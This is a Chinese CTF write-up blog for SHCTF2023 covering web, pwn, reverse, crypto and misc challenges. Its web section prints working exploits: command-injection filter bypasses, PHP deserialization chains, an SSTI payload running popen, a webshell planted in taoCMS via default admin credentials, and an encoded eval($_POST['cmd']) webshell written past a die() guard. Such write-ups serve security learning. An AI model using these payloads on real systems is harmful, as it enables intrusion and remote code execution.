目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. Week1
      1. 2.1.1. babyRCE
      2. 2.1.2. 1zzphp
      3. 2.1.3. ez_serialize
      4. 2.1.4. 登录就给flag
      5. 2.1.5. 飞机大战
      6. 2.1.6. ezphp
        1. 2.1.6.1. preg_replace和正则e模式
      7. 2.1.7. 生成你的邀请函吧~
    2. 2.2. Week2
      1. 2.2.1. no_wake_up
      2. 2.2.2. serialize
      3. 2.2.3. ez_ssti
      4. 2.2.4. EasyCMS
      5. 2.2.5. MD5的事就拜托了
      6. 2.2.6. ez_rce(复现)
    3. 2.3. Week3
      1. 2.3.1. sseerriiaalliizzee
  3. 3. Pwn
    1. 3.1. Week1
      1. 3.1.1. nc
      2. 3.1.2. hard nc
      3. 3.1.3. showshowway
  4. 4. Reverse
    1. 4.1. Week1
      1. 4.1.1. signin
  5. 5. Crypto
    1. 5.1. Week1
      1. 5.1.1. Crypto_Checkin
      2. 5.1.2. 凯撒大帝
      3. 5.1.3. okk
      4. 5.1.4. 进制
      5. 5.1.5. 熊斐特
      6. 5.1.6. 迷雾重重
      7. 5.1.7. 小兔子可爱捏
  6. 6. Misc
    1. 6.1. Week1
      1. 6.1.1. 真的签到
      2. 6.1.2. 签到题

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

SHCTF2023

2023/10/3 CTF线上赛
  |     |   总文章阅读量:

前言

屯了一个月的wp终于能放出来了(

官方wp:https://mp.weixin.qq.com/s/pRGy_yEmyjgTgygEiLSSug

Web

Week1

babyRCE

RCE

<?php
$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
            echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

%09绕过空格,ta\c绕过tac,f???匹配flag

payload:

?rce=ta\c%09/f???

1zzphp

正则溢出

 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
    $code = (String)$_POST['c_ode'];
    $num=$_GET['num'];
    if(preg_match("/[0-9]/", $num))
    {
        die("no number!");
    }
    elseif(intval($num))
    {
      if(preg_match('/.+?SHCTF/is', $code))
      {
        die('no touch!');
      }
      if(stripos($code,'2023SHCTF') === FALSE)
      {
        die('what do you want');
      }
      echo $flag;
    }
}  

参考ctfshow Web130

上面绕过intval直接用数组就行

由于这里限制了参数c_ode必须为字符串,所以无法用数组绕过,stripos必须匹配到2023SHCTF

那么只剩下溢出绕过的方法了

image-20231003113003618


ez_serialize

反序列化pop链

[MRCTF2020]Ezpop的弱化版

<?php
highlight_file(__FILE__);

class A
{
    public $var_1;

    public function __invoke()
    {
        include($this->var_1);
    }
}

class B
{
    public $q;
    public function __wakeup()
    {
        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";
        }
    }
}
class C
{
    public $var;
    public $z;
    public function __toString()
    {
        return $this->z->var;
    }
}

class D
{
    public $p;
    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if (isset($_GET['payload'])) {
    unserialize($_GET['payload']);
}

出口在class A中的include($this->var_1);中,

那么为了触发__invoke,则需要class D的return $function();

为了触发__get,则需要class C中return $this->z->var;,这里的var是z的属性,但是这个属性不存在,所以可以触发

然后为了触发__toString,就需要class B中的preg_match(这个会把属性当字符串处理)

所以链子就是B::__wakeup()->C::__toString()->D::__get($key)->A::__invoke()

exp:

<?php
class A
{
    public $var_1="php://filter/convert.base64-encode/resource=flag.php";
}

class B
{
    public $q;
    public function __wakeup()
    {
        if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";
        }
    }
}
class C
{
    public $var;
    public $z;
    public function __toString()
    {
        return $this->z->var;
    }
}

class D
{
    public $p;
    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
$a=new B();
$a->q=new C();
$a->q->z=new D();
$a->q->z->p=new A();

echo serialize($a);

image-20231003115642325

base64解码得到flag


登录就给flag

找个弱口令字典爆破一下就行了,username应该是admin

image-20231003225729331

image-20231003225749913

逆天,本人当成sql注入,花了一晚上的时间


飞机大战

js

main.js里面找到unicode编码的flag

image-20231003121304737

控制台解码

image-20231003121354390

base64解码得到flag


ezphp

preg_replace和正则e模式

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{
    $pattern=$_POST['pattern'];
    if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code))
    {
        $code=$_GET['code'];
        preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);
        echo "you are smart";
    }else{
        die("try again");
    }
}else{
    die("it is begin");
}
?>

读环境变量得到flag

image-20231003172456374

preg_replace和正则e模式

这题考的是preg_replace和正则e模式的一些特性:

首先是preg_replace,这个函数一般有三个参数($pattern ,$replacement ,$subject),会搜索subject中匹配pattern的部分, 以replacement进行替换

对于\\1,两个转义省掉一个就是\1,在preg_replace中等价于${1}或者说是$1,表示第一个被替换掉的内容,

在正常模式下\0表示被判断的字符串,\1表示被匹配的第一个字符串,和argcargv类似

我们先以/(.*)/i(匹配字符串中的任意字符序列)模式来测试一下:

image-20231003180254423

可以看到这里输出了两个print_r(),但是前者有后面的字符串abc,后者则是空的

猜测是在.*模式下,preg_replace会进行两次替换,因为*可以表示匹配0次,于是在第一次的时候输出了print_r("")

那么接下来就到了正则e模式上,/ei表示匹配这一行并且能够进行命令执行,相当于eval

所以我们怎么构造传入的字符串内容呢,为了对应上面的${1},我们这里也构造一个类似的调用函数的语句${var_dump(1)}即可

注:${var_dump(1)}这个写法好像被弃用了,正确的写法应该是{${var_dump(1)}}

image-20231003183314625

注:这里单引号改为双引号,双引号包裹会解析变量,而单引号不会

同理我们可以执行phpinfo()


生成你的邀请函吧~

burp抓包按格式发过去就行,记得直接发到自己浏览器,然后会下载一张邀请函

POST url/generate_invitation
Content-type: application/json  

{  
    "name": "Yourname",  
    "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

image-20231003185151213


Week2

no_wake_up

绕过wakeup

<?php
highlight_file(__FILE__);
class flag{
    public $username;
    public $code;
    public function __wakeup(){
        $this->username = "guest";
    }
    public function __destruct(){
        if($this->username = "admin"){
            include($this->code);
        }
    }
}
unserialize($_GET['try']); 

PHP版本7.0.9,直接CVE-2016-7124绕过wakeup

exp:

<?php
class flag{
    public $username="admin";
    public $code="php://filter/read=convert.base64-encode/resource=flag.php";
}
$a=new flag();
echo serialize($a);

# O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

payload:

O:4:"flag":3:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

base64解码即可


serialize

反序列化之地址引用

<?php
highlight_file(__FILE__);
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __get($key){
        $this->miaomiao();
        $this->gao=$this->fei;
        die($this->a);
    }
    public function miaomiao(){
        $this->a='Mikey Mouse~';
    }
}
class musca{
    public $ding;
    public $dong;
    public function __wakeup(){
        return $this->ding->dong;
    }
}
class milaoshu{
    public $v;
    public function __tostring(){
        echo"misca~musca~milaoshu~~~";
        include($this->v);
    }
}
function check($data){
    if(preg_match('/^O:\d+/',$data)){
        die("you should think harder!");
    }
    else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

出口在milaoshu::__toString()的include,那么链子就是musca::__wakeup() -> misca::__get($key) -> milaoshu::__toString()

$this->gao=$this->fei;的处理和ISCTF2022的猫和老鼠的考点是一样的,通过地址引用让$a指向milaoshu(),die可以起到echo的作用来触发__toString

底下的check函数的检查匹配序列化字符串是否是对象字符串开头,可以在序列化时用array($a)绕过

非法传参,参数名传入要改为wanna[fl.ag

exp:

<?php
class misca{
    public $gao;
    public $fei;
    public $a;
    public function __construct(){
        $this->a=&$this->gao;
        $this->fei=new milaoshu();
    } 
}
class musca{
    public $ding;
    public $dong;

}
class milaoshu{
    public $v="php://filter/read=convert.base64-encode/resource=flag.php";
}

$a=new musca();
$a->ding=new misca();

echo serialize(array($a));

image-20231010220814149


ez_ssti

ssti

payload秒了

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

EasyCMS

taoCMS

访问/admin进入登录后台界面

登录账号和密码默认是admin:tao

进入后台选择“文件管理”

image-20231009193926425

直接修改index.php

在最后加上一句话木马

image-20231009195848540

拿到shell,根目录得到flag

image-20231009195923237


MD5的事就拜托了

parse_url变量覆盖 + intval特性 + hash长度扩展攻击

<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
    extract(parse_url($_POST['SHCTF']));
    if($$$scheme==='SHCTF'){
        echo(md5($flag));
        echo("</br>");
    }
    if(isset($_GET['length'])){
        $num=$_GET['length'];
        if($num*100!=intval($num*100)){
            echo(strlen($flag));
            echo("</br>");
        }
    }
}
if($_POST['SHCTF']!=md5($flag)){
    if($_POST['SHCTF']===md5($flag.urldecode($num))){
        echo("flag is".$flag);
    }
} 

extract(parse_url($_POST['SHCTF']));,我们在本地进行构造一下可以得到一个url链子user://pass:SHCTF@hostname:80/path?arg=value#anchor

得到flag的md5值6004faf0b5ed4f8b37aee71566b43e9f

然后用小数绕过intval,得到flag的长度42

接下来就是哈希长度扩展攻击

这里值得琢磨的是题目直接给了我们md5($flag)的值,没有带上其它字符串,那么我们知道flag最后一位都是},所以这里长度少算一位,把}作为字符串进行hashpump

image-20231010005027506

然后传参比较时把}删掉,因为flag就带了}

记得把\x换成%

image-20231010004832443


ez_rce(复现)

from flask import *
import subprocess

app = Flask(__name__)

def gett(obj,arg):
    tmp = obj
    for i in arg:
        tmp = getattr(tmp,i)
    return tmp

def sett(obj,arg,num):
    tmp = obj
    for i in range(len(arg)-1):
        tmp = getattr(tmp,arg[i])
    setattr(tmp,arg[i+1],num)

def hint(giveme,num,bol):
    c = gett(subprocess,giveme)
    tmp = list(c)
    tmp[num] = bol
    tmp = tuple(tmp)
    sett(subprocess,giveme,tmp)

def cmd(arg):
    subprocess.call(arg)


@app.route('/',methods=['GET','POST'])
def exec():
    try:
        if request.args.get('exec')=='ok':
            shell = request.args.get('shell')
            cmd(shell)
        else:
            exp = list(request.get_json()['exp'])
            num = int(request.args.get('num'))
            bol = bool(request.args.get('bol'))
            hint(exp,num,bol)
        return 'ok'
    except:
        return 'error'
    
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

稍微审计一下可以知道是要用subprocess.call函数进行命令执行,这个方法有一个参数shell,默认为false

当shell为True时,执行命令时是/bin/sh -c "$cmd"这样的,可以进行命令注入,而当shell为false时,执行命令时是/bin/cmd arg这种


Week3

sseerriiaalliizzee

反序列化+绕过死亡代码

终于抢了个三血

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $barking;
    public function __construct(){
        $this->barking = new Flag;
    }
    public function __toString(){
            return $this->barking->dosomething();
    }
}

class CTF{ 
    public $part1;
    public $part2;
    public function __construct($part1='',$part2='') {
        $this -> part1 = $part1;
        $this -> part2 = $part2;
        
    }
    public function dosomething(){
        $useless   = '<?php die("+Genshin Impact Start!+");?>';
        $useful= $useless. $this->part2;
        file_put_contents($this-> part1,$useful);
    }
}
class Flag{
    public function dosomething(){
        include('./flag,php');
        return "barking for fun!";
        
    }
}

    $code=$_POST['code']; 
    if(isset($code)){
       echo unserialize($code);
    }
    else{
        echo "no way, fuck off";
    }
?> 

出口在CTF::dosomethingfile_put_contents

链子:Start::__construct -> Start::__toString -> CTF::dosomething

因为底下的反序列化部分有echo,所以可以触发__toString

然后是dosomething,这里需要绕过死亡代码<?php die("+Genshin Impact Start!+");?>,用base64编码绕过的方式,php伪协议写入一句话木马,注意$part2的base64里面需要多加两个a,因为base64在解码的时候是将4个字节转化为3个字节,死亡代码只有phpdie6个字符参与了解码,所以要补两个a

exp:

<?php
class Start
{
    public $barking;
    public function __construct()
    {
        $this->barking = new CTF;
    }
}

class CTF
{
    public $part1;
    public $part2;
    public function __construct($part1 = 'php://filter/write=convert.base64-decode/resource=1.php', $part2 = 'aaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==')
    {
        $this->part1 = $part1;
        $this->part2 = $part2;
    }
}
$a=new Start();
echo serialize($a);

image-20231018104352970


Pwn

Week1

nc

秒了

image-20231003230007310


hard nc

ls -a发现隐藏文件.gift,得到前半段flag

cat /gift2/flag2,base64解码得到后半段flag

image-20231003230623614


showshowway

栈溢出

ida64反编译

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdin, 0LL);
  puts("Do you know overflow better than me?");
  puts("Let's try");
  vuln();
  return 0;
}

vuln函数

int vuln()
{
  gets((__int64)&s);
  if ( strcmp(y, p) )
  {
    puts("you lose the game");
    exit(0);
  }
  return getflag();
}

首先我们知道可控的只有要传入的s的值

在汇编代码中找到p的值为showshowway

image-20231006205702787

然后发现汇编代码中sy处于bss段连续的地址上

s:从0x6010C0到0x6010FF,长度为64

再多一位就能覆盖到y的地址上

也就是说要往s上先传入长度为64的字符串,再输入showshowway即可getshell

cyclic生成字符串

image-20231006204542415


Reverse

Week1

signin

ida64打开,查看main函数汇编视图,发现flag

image-20231023101535752

flag:flag{flag1sinarray}


Crypto

Week1

Crypto_Checkin

QZZ|KQbjRRS8QZRQdCYwR4_DoQ7~jyO>0t4R4__aQZQ9|Rz+k_Q!r#mR90+NR4_4NR%>ipO>0s{R90|SQhHKhRz+k^S8Q5JS5|OUQZO}CQfp*dS8P&9R8>k?QZYthRz+k_O>0#>

base85+base64+base32+16进制

flag:flag{Th1s_1s_B4s3_3nc0d3}


凯撒大帝

pvkq{mredsrkyxkx}

凯撒加密,脚本爆破一手

def caesar_decrypt(ciphertext, shift):
    """
    凯撒密码解密函数
    :param ciphertext: 密文
    :param shift: 移位数
    :return: 明文
    """
    plaintext = ""
    for char in ciphertext:
        if char.isalpha():
            # 将字母转换为ASCII码,并减去65或97,使得A或a的ASCII码为0
            ascii_code = ord(char) - shift
            # 处理超出字母表范围的ASCII码
            if char.isupper():
                if ascii_code < 65:
                    ascii_code += 26
            else:
                if ascii_code < 97:
                    ascii_code += 26
            # 将ASCII码转换回字符
            plaintext += chr(ascii_code)
        else:
            plaintext += char
    return plaintext


ciphertext = "pvkq{mredsrkyxkx}"
for i in range(1, 30):
    shift = i
    plaintext = caesar_decrypt(ciphertext, shift)
    print(plaintext)

flag:flag{chutihaonan}


okk

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook! Ook. Ook.
Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook.
Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. 

ook编码,解码网站:https://www.splitbrain.org/services/ook

flag:flag{123456789}


进制

3636366336313637376236313638363636623661366336383662363136383764

两次16进制解码

flag:flag{ahfkjlhkah}


熊斐特

uozt{zgyzhs xrksvi}

搜一下熊斐特,知道是埃特巴什码 - Atbash Cipher

解码网站:https://wtool.com.cn/atbash.html

flag:flag{atbash cipher}


迷雾重重

0010 0100 01 110 1111011 11 111 010 000 0 001101 00 000 001101 0001 0 010 1011 001101 0010 001 10 1111101

摩斯密码,utools的编码工具梭了

flag:FLAG{MORSE_IS_VERY_FUN}


小兔子可爱捏

题目描述:宇宙的终极答案是什么?
U2FsdGVkX1/lKCKZm7Nw9xHLMrKHsbGQuFJU5QeUdASq3Ulcrcv9
你可能会需要一把钥匙,钥匙就是问题的答案。

rabbit编码,宇宙的终极答案是42(即答

即key为42

解码网站:https://www.sojson.com/encrypt_rabbit.html

flag:flag{i_love_technology}


Misc

Week1

真的签到

flag:flag{Welc0me_tO_SHCTF2023}


签到题

base64解码两次得到flag